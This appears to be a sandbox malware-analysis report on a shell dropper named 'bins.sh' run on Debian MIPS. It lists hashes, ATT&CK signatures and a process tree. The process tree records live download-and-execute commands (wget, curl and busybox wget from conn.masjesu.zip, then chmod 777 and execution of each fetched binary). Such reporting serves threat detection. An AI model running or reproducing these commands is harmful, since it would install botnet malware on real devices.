Analysis

  • max time kernel
    149s
  • max time network
    41s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    04-11-2024 12:35

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    a325e2a22971294656afb7f251e3ab7b

  • SHA1

    d05120dd6f34ee01dd2b5c45baf4eaf512ea0c75

  • SHA256

    66e27f6072a3ac6fc71d98be862a638d2a93b1d31424930428a664a676f2b9f7

  • SHA512

    ab526ea3f4e0f0d6f85a957f0a8cf5763bba801d331aa8b76a2758a61c506b1e0036b0a3205dd2a70ef4c12134983e3e23626c2feedb36d1e4fc75705617ec83

  • SSDEEP

    192:SsgccHWiiMp7cEPevX+NhKuccHWiDx6fvX+Nhu:SshW7tOf

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Reads runtime system information 6 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 14 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:706
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:709
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:711
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:730
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:737
        • /bin/chmod
          chmod 777 i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
          2⤵
          • File and Directory Permissions Modification
          PID:738
        • /tmp/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
          ./i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
          2⤵
          • Executes dropped EXE
          PID:739
        • /bin/rm
          rm i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
          2⤵
            PID:741
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:742
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
            2⤵
            • Reads runtime system information
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:743
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:757
          • /bin/chmod
            chmod 777 v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
            2⤵
            • File and Directory Permissions Modification
            PID:762
          • /tmp/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
            ./v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
            2⤵
            • Executes dropped EXE
            PID:764
          • /bin/rm
            rm v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
            2⤵
              PID:767
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
              2⤵
              • System Network Configuration Discovery
              PID:768
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
              2⤵
              • Reads runtime system information
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:773
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:785
            • /bin/chmod
              chmod 777 mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
              2⤵
              • File and Directory Permissions Modification
              PID:793
            • /tmp/mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
              ./mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
              2⤵
              • Executes dropped EXE
              PID:794
            • /bin/rm
              rm mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
              2⤵
                PID:797
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
                2⤵
                • Writes file to tmp directory
                PID:798
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:804
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
                2⤵
                • Writes file to tmp directory
                PID:806
              • /bin/chmod
                chmod 777 vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
                2⤵
                • File and Directory Permissions Modification
                PID:807
              • /tmp/vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
                ./vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
                2⤵
                • Executes dropped EXE
                PID:808
              • /bin/rm
                rm vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
                2⤵
                  PID:810
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:811
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
                  2⤵
                  • Reads runtime system information
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:815
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:820
                • /bin/chmod
                  chmod 777 0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
                  2⤵
                  • File and Directory Permissions Modification
                  PID:826
                • /tmp/0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
                  ./0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
                  2⤵
                  • Executes dropped EXE
                  PID:827
                • /bin/rm
                  rm 0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
                  2⤵
                    PID:830
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/iRdj0mPUq9mH99QrmxyO2oYhSlg6UHqSkk
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:831
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/iRdj0mPUq9mH99QrmxyO2oYhSlg6UHqSkk
                    2⤵
                    • Reads runtime system information
                    • System Network Configuration Discovery
                    PID:846

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                • /tmp/0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr

                  Filesize

                  127KB

                  MD5

                  89077b7bd4bcafca7713be43635c4862

                  SHA1

                  fc02edb8fba29ea8ee99e6157ef8560334530052

                  SHA256

                  78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                  SHA512

                  1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                • /tmp/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc

                  Filesize

                  99KB

                  MD5

                  9438d9bc392bcf300a5583b6df5bc8f6

                  SHA1

                  375a6ae34b516f6f3eeea8030c4084f585017efa

                  SHA256

                  68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                  SHA512

                  1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                • /tmp/iRdj0mPUq9mH99QrmxyO2oYhSlg6UHqSkk

                  Filesize

                  111KB

                  MD5

                  ca897a38f23ec23521ce0b1b83f8422d

                  SHA1

                  b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                  SHA256

                  043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                  SHA512

                  10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                • /tmp/mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm

                  Filesize

                  112KB

                  MD5

                  05d7857dcead18bbd86d2935f591873c

                  SHA1

                  34d18f41ef35f93d5364ce3e24d74730a4e91985

                  SHA256

                  2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                  SHA512

                  d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                • /tmp/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X

                  Filesize

                  151KB

                  MD5

                  6c583043d91c55aa470c08c87058e917

                  SHA1

                  abf65a5b9bba69980278ad09356e53de8bb89439

                  SHA256

                  2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                  SHA512

                  82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                • /tmp/vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0

                  Filesize

                  177KB

                  MD5

                  786d75a158fe731feca3880f436082c0

                  SHA1

                  79ea2734e43d00cdeabed5586b2c1994d02aef3e

                  SHA256

                  5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                  SHA512

                  7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f